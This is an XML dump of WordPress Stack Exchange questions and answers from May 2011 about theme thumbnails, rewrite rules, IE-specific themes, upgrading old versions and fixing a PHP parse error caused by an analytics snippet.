  <row Id="17818" PostTypeId="1" AcceptedAnswerId="17828" CreationDate="2011-05-20T16:38:04.610" Score="7" ViewCount="219" Body="&lt;p&gt;I am currently running WordPress 3.1.2 on PHP 5.1.6. The minimum requirement for WordPress 3.2 is going to be PHP 5.2.4 or greater. If I keep running WordPress 3.1.2 and there is a security issue will they provide security updates for 3.1 or will I be forced to upgrade my version of PHP so that I can upgrade to WordPress 3.2?&lt;/p&gt;&#xA;" OwnerUserId="5538" LastActivityDate="2011-05-23T08:58:07.350" Title="Will there be security updates for 3.1 once 3.2 is released?" Tags="&lt;security&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="17819" PostTypeId="1" AcceptedAnswerId="17849" CreationDate="2011-05-20T16:42:10.800" Score="0" ViewCount="206" Body="&lt;p&gt;i'm using an rss to post plugin. The posts fetches from the RSS do not have any pictures associated with them. Is there a way to automatically assign a 'featured image' to posts from a category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is that in my WP theme, with the custom field as 'thumb' I can add images/reuse same images.. is there a way to make use of this and assign a default pic to all posts from a category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Based on Martin's suggestion I installed the get image plugin. The code mentioned in the read me is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_the_image( array( 'default_image' =&amp;gt; 'http://www.mydomain.com/wp-content/uploads/defaultimage.png' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, my theme isn't that direct. It makes use of a function in the functions.php file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get image attachment (sizes: thumbnail, medium, full)&#xA;function get_thumbnail($postid=0, $size='full') {&#xA;    if ($postid&amp;lt;1) &#xA;    $postid = get_the_ID();&#xA;    $thumb_key = get_theme_mod('thumb_key');&#xA;    if($thumb_key)&#xA;        $thumb_key = $thumb_key;&#xA;    else&#xA;        $thumb_key = 'thumb';&#xA;    $thumb = get_post_meta($postid, $thumb_key, TRUE); // Declare the custom field for the image&#xA;    if ($thumb != null or $thumb != '') {&#xA;        return $thumb; &#xA;    } elseif ($images = get_children(array(&#xA;        'post_parent' =&amp;gt; $postid,&#xA;        'post_type' =&amp;gt; 'attachment',&#xA;        'numberposts' =&amp;gt; '1',&#xA;        'post_mime_type' =&amp;gt; 'image', ))) {&#xA;        foreach($images as $image) {&#xA;            $thumbnail=wp_get_attachment_image_src($image-&amp;gt;ID, $size);&#xA;            return $thumbnail[0]; &#xA;        }&#xA;    } else {&#xA;        return get_bloginfo ( 'stylesheet_directory' ).'/images/default_thumb.gif';&#xA;    }&#xA;&#xA;}&#xA;&#xA;// Automatically display/resize thumbnail&#xA;function tj_thumbnail($width, $height) {&#xA;    echo '&amp;lt;a href=&quot;'.get_permalink($post-&amp;gt;ID).'&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;img src=&quot;'.get_bloginfo('template_url').'/timthumb.php?src='.get_thumbnail($post-&amp;gt;ID, 'full').'&amp;amp;amp;h='.$height.'&amp;amp;amp;w='.$width.'&amp;amp;amp;zc=1&quot; alt=&quot;'.get_the_title().'&quot; /&amp;gt;&amp;lt;/a&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need help in adding the get_the_image function into the one above so it checks.. If category id=120, then display mydefaultimage.png else, do the regular thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5411" LastEditorUserId="5411" LastEditorDisplayName="" LastEditDate="2011-05-22T09:36:46.007" LastActivityDate="2011-05-22T09:36:46.007" Title="How to add featured images to posts from a category" Tags="&lt;post-thumbnails&gt;" AnswerCount="1" />
  <row Id="17820" PostTypeId="2" ParentId="17818" CreationDate="2011-05-20T16:43:43.157" Score="1" ViewCount="" Body="&lt;p&gt;WordPress does not patch older versions, so you will have to upgrade or manually apply patches yourself.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-05-20T16:43:43.157" />
  <row Id="17821" PostTypeId="1" CreationDate="2011-05-20T16:48:33.970" Score="0" ViewCount="25" Body="&lt;p&gt;I make a new page template, and can select it in dropdown in sidebar on Edit page screen. But WP not using this template and rendering index.php template. How it can be possible and what should I check? I tried to use different theme and then switch back - no luck.&#xA;Then I make a page.php template, for using as default template for pages rendering, but no luck. It still using index.php.&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5539" LastActivityDate="2011-05-20T16:48:33.970" Title="Page template don't work" Tags="&lt;page&gt;&lt;page-template&gt;" CommentCount="2" />
  <row Id="17822" PostTypeId="2" ParentId="17818" CreationDate="2011-05-20T16:51:42.617" Score="7" ViewCount="" Body="&lt;p&gt;No, older versions are not updated.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside: &lt;a href=&quot;http://www.php.net/ChangeLog-5.php#5.1.6&quot; rel=&quot;nofollow&quot;&gt;PHP 5.1.6 is &lt;strong&gt;five years&lt;/strong&gt; old.&lt;/a&gt; Even if WordPress would offer patches for 3.1.2 – you missed more than 100 security fixes for PHP, so WordPress isn’t your main problem anyway.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-20T16:51:42.617" CommentCount="4" />
  <row Id="17823" PostTypeId="1" AcceptedAnswerId="17824" CreationDate="2011-05-20T17:08:07.430" Score="0" ViewCount="72" Body="&lt;p&gt;Does anyone know why wordpress converts some html entities to their numeric equivalents?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found that in some posts, where a non-breaking space &lt;code&gt;&amp;amp;nbsp;&lt;/code&gt; entity would be appropriate, wordpress uses &lt;code&gt;&amp;amp;#160;&lt;/code&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems to me that using the symbolic version of the entity would be better than a numeric version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The routine that this is being done in (appears to be) ent2ncr in wp-includes/formatting.php. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I converted my blog from a single site to multi-site (different install &amp;amp; database), the numeric entities were not converted properly (possibly due to a database difference).  Had the symbolic entities been used, I doubt this would have been a problem.&lt;/p&gt;&#xA;" OwnerUserId="38" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-20T17:10:50.637" LastActivityDate="2011-05-20T17:14:37.420" Title="Anyone know why wordpress converts some html entities to their numeric equivalents?" Tags="&lt;posts&gt;&lt;database&gt;&lt;html&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17824" PostTypeId="2" ParentId="17823" CreationDate="2011-05-20T17:14:37.420" Score="5" ViewCount="" Body="&lt;p&gt;In XHTML entities are not part of the DTD, and user agents are not required to support them. Exceptions: &lt;code&gt;&amp;amp;amp;&lt;/code&gt;, &lt;code&gt;&amp;amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;amp;quot;&lt;/code&gt; and &lt;code&gt;&amp;amp;apos;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To keep WordPress X(HT)ML compatible numeric references are used instead.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-20T17:14:37.420" CommentCount="2" />
  <row Id="17825" PostTypeId="2" ParentId="16849" CreationDate="2011-05-20T17:36:07.313" Score="1" ViewCount="" Body="&lt;p&gt;I woul probably set up the archive system as a separate multi-site installation with a subdirectory for each year:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;archive-example.com/1998&lt;/li&gt;&#xA;&lt;li&gt;archive-example.com/1999&lt;/li&gt;&#xA;&lt;li&gt;…&lt;/li&gt;&#xA;&lt;li&gt;archive-example.com/2010&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This way the old databases don’t slow down you current system, you can use a separate theme for each year and manage all archives from one network account (updates are easier!).  Unfortunately, the main site of a multi-site installation has to be a top level domain.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-20T17:36:07.313" CommentCount="4" />
  <row Id="17826" PostTypeId="1" AcceptedAnswerId="17829" CreationDate="2011-05-20T17:37:28.000" Score="1" ViewCount="117" Body="&lt;p&gt;I tried to add thumbnail support to my theme&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_support( 'post-thumbnails' );&#xA;set_post_thumbnail_size(133, 133, true);&#xA;add_theme_support( 'post-thumbnails', array( 'post' ) );&#xA;add_theme_support( 'post-thumbnails', array( 'page' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So this isnt working, or at least I'm not sure how this should work, help!&lt;/p&gt;&#xA;" OwnerUserId="3976" LastActivityDate="2011-05-20T17:55:57.790" Title="How do you get thumbnails to show up in the admin edit post?" Tags="&lt;themes&gt;&lt;admin&gt;&lt;post-thumbnails&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="17827" PostTypeId="2" ParentId="17826" CreationDate="2011-05-20T17:40:37.380" Score="2" ViewCount="" Body="&lt;p&gt;your code is proper, at least the first 2 lines.... don't think the last 2 lines are needed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The feature is actually called featured image in the edit post screen, even though the code calls it thumbnails. Bit of a terminology change over versions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the 'featured image' option is not visible toward the bottom right, then up toward the top right you should see 'screen options', click that and see if the featured image is checked to be displayed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And just to be sure, you added that code to functions.php correct?&lt;/p&gt;&#xA;" OwnerUserId="3429" LastEditorUserId="3429" LastEditorDisplayName="" LastEditDate="2011-05-20T17:51:33.410" LastActivityDate="2011-05-20T17:51:33.410" CommentCount="3" />
  <row Id="17828" PostTypeId="2" ParentId="17818" CreationDate="2011-05-20T17:43:54.960" Score="6" ViewCount="" Body="&lt;p&gt;WordPress backports security updates usually 1-3 versions back but they don't promise anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The WordPress &lt;a href=&quot;https://wiki.ubuntu.com/LTS&quot; rel=&quot;nofollow&quot;&gt;LTS&lt;/a&gt; philosophy is that LTS = &quot;&lt;a href=&quot;http://lists.automattic.com/pipermail/wp-hackers/2010-June/032483.html&quot; rel=&quot;nofollow&quot;&gt;Long Term Suckage&lt;/a&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Long Term Suckage theory is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;While I like the theory of LTS, what&#xA;  happens in practice is it covers up &#xA;  the incompetence of IT or developers&#xA;  because they put off small slightly &#xA;  painful upgrades until they get so out&#xA;  of date of trunk (3 years? 5  years?)&#xA;  and you have to go through a giant,&#xA;  painful, screws everybody  over&#xA;  upgrade. --&lt;a href=&quot;http://lists.automattic.com/pipermail/wp-hackers/2010-June/032483.html&quot; rel=&quot;nofollow&quot;&gt;Matt Mullenweg&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Like how your sysadmin doesn't want to update PHP now that it's 6 years old and 2 major branches behind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would point my sysadmin to this &lt;a href=&quot;http://www.redhat.com/archives/redhat-list/2009-May/msg00082.html&quot; rel=&quot;nofollow&quot;&gt;thread from the RedHat mailing list from 2009&lt;/a&gt;.  There are 3rd party packages available so you don't have to compile from source &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the version of php you need is not&#xA;  available in rhn you could use some&#xA;  3rd party repos like rpmforge, ATrpms&#xA;  or the Remi Collet Repository that is&#xA;  specially made for mysql 5.1 and&#xA;  php5.2.9 under EL5.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would be more concerned about PHP 5.1 branch security issues than something that might come up with WordPress.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Edit:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Also found this official RedHat announcement from Jan 2011 &lt;a href=&quot;https://rhn.redhat.com/errata/RHEA-2011-0069.html&quot; rel=&quot;nofollow&quot;&gt;RHEL 5 now shipping with PHP 5.3.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-20T18:04:05.000" LastActivityDate="2011-05-20T18:04:05.000" />
  <row Id="17829" PostTypeId="2" ParentId="17826" CreationDate="2011-05-20T17:55:57.790" Score="1" ViewCount="" Body="&lt;p&gt;This looks flawed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_support( 'post-thumbnails', array( 'post' ) );&#xA;add_theme_support( 'post-thumbnails', array( 'page' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do you see the post thumbnail box on pages? If so, you have just overwritten the support on posts with the second declaration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Better:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_support( 'post-thumbnails', array( 'post', 'page' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-20T17:55:57.790" CommentCount="1" />
  <row Id="17830" PostTypeId="2" ParentId="16849" CreationDate="2011-05-20T17:56:56.140" Score="1" ViewCount="" Body="&lt;p&gt;Checkout &lt;a href=&quot;http://sillybean.net/?p=2321&quot; rel=&quot;nofollow&quot;&gt;Stephanie Leary's HTML Import Plugin&lt;/a&gt;.  She is an expert on importing old HTML pages into WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You just point the plugin at the existing HTML pages on your server and it pulls them in.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To archive you could create a custom taxonomy for the years and use WordPress archive pages to display them.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-20T17:56:56.140" CommentCount="1" />
  <row Id="17831" PostTypeId="1" CreationDate="2011-05-20T17:59:48.223" Score="2" ViewCount="66" Body="&lt;p&gt;I have a category called 'neighborhoods'. I also have child categories within 'neighborhoods' E.G. Lakewood, Highland Park...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click 'highland park' the url is /pages/category/neighborhoods/highland-park&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I change the htacces rules so that when viewing highland park the url would be neighborhoods/highland park/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have a post titled 'highland park' in order to have the neighborhoods page generate the 'highland park' category.  But when you click it takes you to the single post page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a rewrite rule that works when you go to /neighborhoods/ it rewrites pages/category/neighbhorhoods/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but going to the child category brings you the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; here is the contents of the .htaccess file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^sellers/? pages/sellers/&#xA;RewriteRule ^buyers/? pages/buyers/&#xA;RewriteRule ^neighborhoods/? pages/category/neighborhoods/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5478" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-05-20T19:10:55.137" LastActivityDate="2011-05-20T19:10:55.137" Title="Clash of the rewrites" Tags="&lt;url-rewriting&gt;&lt;urls&gt;&lt;htaccess&gt;" CommentCount="8" FavoriteCount="1" />
  <row Id="17832" PostTypeId="1" CreationDate="2011-05-20T18:12:33.053" Score="0" ViewCount="45" Body="&lt;p&gt;I'm having what I hope is the last issue I've got with my new WP site.  I'm using the_meta in my single page posts and supposedly this template tag automatically creates a style in the style sheet called .post-meta.  It didn't, so I added it manually but this styling for the meta data is not being picked up.  I'd also like to pull each meta data element separately to order it and style each piece the way I'd like and I can't figure out how to do that either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me please?  The WP Codex is so confusing, my head is spinning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://oibmn.net/&quot; rel=&quot;nofollow&quot;&gt;Here is the live Site&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5278" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-05-20T19:11:32.910" LastActivityDate="2011-05-20T19:11:32.910" ClosedDate="2011-05-22T16:18:49.187" Title="post meta data is not reading post meta styling" Tags="&lt;posts&gt;&lt;post-meta&gt;" CommentCount="10" />
  <row Id="17833" PostTypeId="1" AcceptedAnswerId="17834" CreationDate="2011-05-20T18:16:52.060" Score="2" ViewCount="73" Body="&lt;p&gt;For those who are curious, I'm changing the theme but this theme relies on CSS3 and HTML5 and displays very ugly in IE 8 or below. - Especially the navigation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is keep my old theme and use it for IE users only, I assume if this can be done for a mobile site, it can for IE.&#xA;Would it be easier to just get another WP installation and duplicate the content (What's the easiest way to do this?).&#xA;Or is there a method, such as the mobile method to redirect users to that theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My plan was, create a second installation with the existing theme then somehow grab the content from the main site and add and IF code redirecting IE users. Is this possible, or is there an easier/ or simpler way?&lt;/p&gt;&#xA;" OwnerUserId="4063" LastActivityDate="2011-05-21T19:44:02.397" Title="Making an IE only site (Like a Mobile only site)" Tags="&lt;themes&gt;&lt;content&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="17834" PostTypeId="2" ParentId="17833" CreationDate="2011-05-20T18:23:23.897" Score="2" ViewCount="" Body="&lt;p&gt;maybe you can somehow use template redirect? I'm not too clear on how it works, but it may be worth investigating.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_check_is_ie() {&#xA;    global $is_winIE;&#xA;    if ( ! $is_winIE ) return;&#xA;&#xA;    // load template for IE&#xA;    include(TEMPLATEPATH . '/IE_template.php');&#xA;&#xA;    // or maybe?&#xA;    if( is_home() ) include(TEMPLATEPATH . '/IE_home.php');&#xA;    elseif( is_single() ) include(TEMPLATEPATH . '/IE_single.php');&#xA;    // etc.&#xA;}&#xA;&#xA;add_action('template_redirect', 'my_check_is_ie');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;- ok, I think I've figured it out. I haven't tested this in the wild, so make sure it works first! You'll have to make this a plugin, since once the theme is loaded it's too late to pull the theme switch...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: randomkljsaduiyerth&#xA;*/&#xA;global $is_winIE;&#xA;if($is_winIE){&#xA;    add_filter('template', 'my_switch_themes');&#xA;    add_filter('stylesheet', 'my_switch_themes');&#xA;}&#xA;function my_switch_themes(){&#xA;    // return the name of your IE theme&#xA;    return 'my-IE-theme-Name-Here'; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit2&lt;/strong&gt;-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you could add another check for the presence of a GET variable if you wanted to let people switch via a link like: &lt;a href=&quot;http://yourdomain.com/?IE_version&quot; rel=&quot;nofollow&quot;&gt;http://yourdomain.com/?IE_version&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( isset($_GET['IE_version']) ):&#xA;    // add_filter here, or better yet if you're doing a number of checks,&#xA;    // set a flag if any check is true and add_filter last&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you could also use cookies to store the theme preference&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// check the cookie&#xA;if( isset($_COOKIE[&quot;my_domain_cookie&quot;]) )&#xA;&#xA;// set the cookie&#xA;setcookie(&quot;my_domain_cookie&quot;, &quot;My Cookie Val&quot;, time()+60*60*24*30);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-05-21T19:44:02.397" LastActivityDate="2011-05-21T19:44:02.397" CommentCount="12" />
  <row Id="17835" PostTypeId="1" CreationDate="2011-05-20T18:31:34.510" Score="0" ViewCount="51" Body="&lt;p&gt;I am trying to upload a configuration file so I can include a link to it in my post. And I get a Security error, because the file type is not allowed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My config file has no extension. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this question: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11563/adding-file-types-in-wordpress&quot;&gt;Adding file types in wordpress&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way that I can add the mime type of '' for a &quot;No Extension&quot; type?&lt;/p&gt;&#xA;" OwnerUserId="5542" LastActivityDate="2011-05-20T21:54:55.497" Title="How can I upload a file with no extension" Tags="&lt;3.0&gt;&lt;uploads&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="17836" PostTypeId="1" CreationDate="2011-05-20T18:31:58.307" Score="0" ViewCount="21" Body="&lt;p&gt;I moved my blog from subdirectory to root and added super cache, i see in google webmaster tools crawler errors adding function.file-put-contents to most of my links... what is the deal with that, i got a 301 script going to redirect, perhaps just bad timing?  thoughts?&lt;/p&gt;&#xA;" OwnerUserId="5543" LastActivityDate="2011-05-20T18:31:58.307" Title="function.file-put-contents in webmaster google tools" Tags="&lt;optimization&gt;" CommentCount="1" />
  <row Id="17837" PostTypeId="1" AcceptedAnswerId="17839" CreationDate="2011-05-20T18:40:33.913" Score="0" ViewCount="47" Body="&lt;p&gt;Okay so the website I webmaster for &lt;a href=&quot;http://www.detroitdungeon.com&quot; rel=&quot;nofollow&quot;&gt;http://www.detroitdungeon.com&lt;/a&gt; has been having some analytic issues as of lately. I have the google analytics plugin installed and it was working fine for quite sometime. All of a sudden the plugin caused IE users to crash after the page had loaded. So instead of using the plug in I decided to use the code given to me by google and I placed it in the footer of the website. Doing this caused the webpage to crash with all browsers.&#xA;after the code has been placed in the footer the source code reads&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;b&amp;gt;Parse error&amp;lt;/b&amp;gt;: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';' in &amp;lt;b&amp;gt;/home/content/36/5385336/html/detroitdungeon/wp-content/themes/delighted_black2/footer.php&amp;lt;/b&amp;gt; on line &amp;lt;b&amp;gt;5&amp;lt;/b&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is footer.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;include('footer_content.php');$delight_mainfont = get_option('delight_mainfont');echo '&amp;lt;div id=&quot;footcopy&quot;&amp;gt;&amp;lt;span class=&quot;left&quot;&amp;gt;&amp;lt;a href=&quot;http://zenverse.net/delighted-black-wordpress-theme/&quot;&amp;gt;Delighted Black&amp;lt;/a&amp;gt; designed by &amp;lt;a href=&quot;http://yourchristianspace.com&quot;&amp;gt;Christian Myspace&amp;lt;/a&amp;gt; &amp;amp; &amp;lt;a href=&quot;http://www.digitaldesignzmedia.com&quot;&amp;gt;Designed By: Digital Designz Media Group&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;right&quot;&amp;gt;In conjunction with &amp;lt;a href=&quot;http://pingler.com&quot;&amp;gt;Ping Services&amp;lt;/a&amp;gt;   &amp;lt;span style=&quot;font-family:tahoma;&quot;&amp;gt;|&amp;lt;/span&amp;gt;   &amp;lt;a href=&quot;http://frenchteacherjobs.com&quot;&amp;gt;French Teacher Jobs&amp;lt;/a&amp;gt;   &amp;lt;span style=&quot;font-family:tahoma;&quot;&amp;gt;|&amp;lt;/span&amp;gt;   &amp;lt;a href=&quot;http://mathsteacherjobs.com&quot;&amp;gt;Maths Teacher Jobs&amp;lt;/a&amp;gt; &amp;lt;/span&amp;gt;&#xA;&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;!--/page--&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/JavaScript&quot;&amp;gt;var TFN='';var TFA='';var TFI='0';var TFL='0';var tf_RetServer=&quot;rt.trafficfacts.com&quot;;var tf_SiteId=&quot;254g7d80916f3af3bbc0ac2542301cd153424f1b1aa7h16&quot;;var tf_ScrServer=document.location.protocol+&quot;//rt.trafficfacts.com/tf.php?k=254g7d80916f3af3bbc0ac2542301cd153424f1b1aa7h16;c=s;v=5&quot;;document.write(unescape('%3Cscript type=&quot;text/JavaScript&quot; src=&quot;'+tf_ScrServer+'&quot;&amp;gt;%3C/script&amp;gt;'));&amp;lt;/script&amp;gt;&amp;lt;noscript&amp;gt;&amp;lt;img src=&quot;http://rt.trafficfacts.com/ns.php?k=254g7d80916f3af3bbc0ac2542301cd153424f1b1aa7h16&quot; height=&quot;1&quot; width=&quot;1&quot; alt=&quot;&quot;/&amp;gt;&amp;lt;/noscript&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;';&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried going with godaddy analytics and the same issue is happening. Any help would be GREATLY appreciated. &lt;/p&gt;&#xA;" OwnerUserId="5544" LastActivityDate="2011-05-20T19:09:09.500" Title="Analytics causes website to crash" Tags="&lt;themes&gt;&lt;google-analytics&gt;&lt;footer&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17838" PostTypeId="2" ParentId="17803" CreationDate="2011-05-20T18:45:13.490" Score="0" ViewCount="" Body="&lt;p&gt;This almost certainly appears to be a Google Chrome issue (though the bug is still probably within WordPress, since Chrome does preserve all tabs and linebreaks when pasting into the Paste Text or Paste from Word areas, so Chrome is not itself stripping out the linebreaks.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm recommending we close this cause it probably doesn't belong here anyway, and I'll post a bug on Trac.&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-05-20T18:45:13.490" CommentCount="1" />
  <row Id="17839" PostTypeId="2" ParentId="17837" CreationDate="2011-05-20T18:55:32.597" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;include('footer_content.php');$delight_mainfont = get_option('delight_mainfont');echo '&amp;lt;div id=&quot;footcopy&quot;&amp;gt;&amp;lt;span class=&quot;left&quot;&amp;gt;&amp;lt;a href=&quot;http://zenverse.net/delighted-black-wordpress-theme/&quot;&amp;gt;Delighted Black&amp;lt;/a&amp;gt; designed by &amp;lt;a href=&quot;http://yourchristianspace.com&quot;&amp;gt;Christian Myspace&amp;lt;/a&amp;gt; &amp;amp; &amp;lt;a href=&quot;http://www.digitaldesignzmedia.com&quot;&amp;gt;Designed By: Digital Designz Media Group&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;right&quot;&amp;gt;In conjunction with &amp;lt;a href=&quot;http://pingler.com&quot;&amp;gt;Ping Services&amp;lt;/a&amp;gt;   &amp;lt;span style=&quot;font-family:tahoma;&quot;&amp;gt;|&amp;lt;/span&amp;gt;   &amp;lt;a href=&quot;http://frenchteacherjobs.com&quot;&amp;gt;French Teacher Jobs&amp;lt;/a&amp;gt;   &amp;lt;span style=&quot;font-family:tahoma;&quot;&amp;gt;|&amp;lt;/span&amp;gt;   &amp;lt;a href=&quot;http://mathsteacherjobs.com&quot;&amp;gt;Maths Teacher Jobs&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!--/page--&amp;gt;&#xA;';?&amp;gt;&#xA;&amp;lt;script type=&quot;text/JavaScript&quot;&amp;gt;var TFN='';var TFA='';var TFI='0';var TFL='0';var tf_RetServer=&quot;rt.trafficfacts.com&quot;;var tf_SiteId=&quot;254g7d80916f3af3bbc0ac2542301cd153424f1b1aa7h16&quot;;var tf_ScrServer=document.location.protocol+&quot;//rt.trafficfacts.com/tf.php?k=254g7d80916f3af3bbc0ac2542301cd153424f1b1aa7h16;c=s;v=5&quot;;document.write(unescape('%3Cscript type=&quot;text/JavaScript&quot; src=&quot;'+tf_ScrServer+'&quot;&amp;gt;%3C/script&amp;gt;'));&amp;lt;/script&amp;gt;&amp;lt;noscript&amp;gt;&amp;lt;img src=&quot;http://rt.trafficfacts.com/ns.php?k=254g7d80916f3af3bbc0ac2542301cd153424f1b1aa7h16&quot; height=&quot;1&quot; width=&quot;1&quot; alt=&quot;&quot;/&amp;gt;&amp;lt;/noscript&amp;gt;&#xA;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4998" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-05-20T19:09:09.500" LastActivityDate="2011-05-20T19:09:09.500" CommentCount="8" />
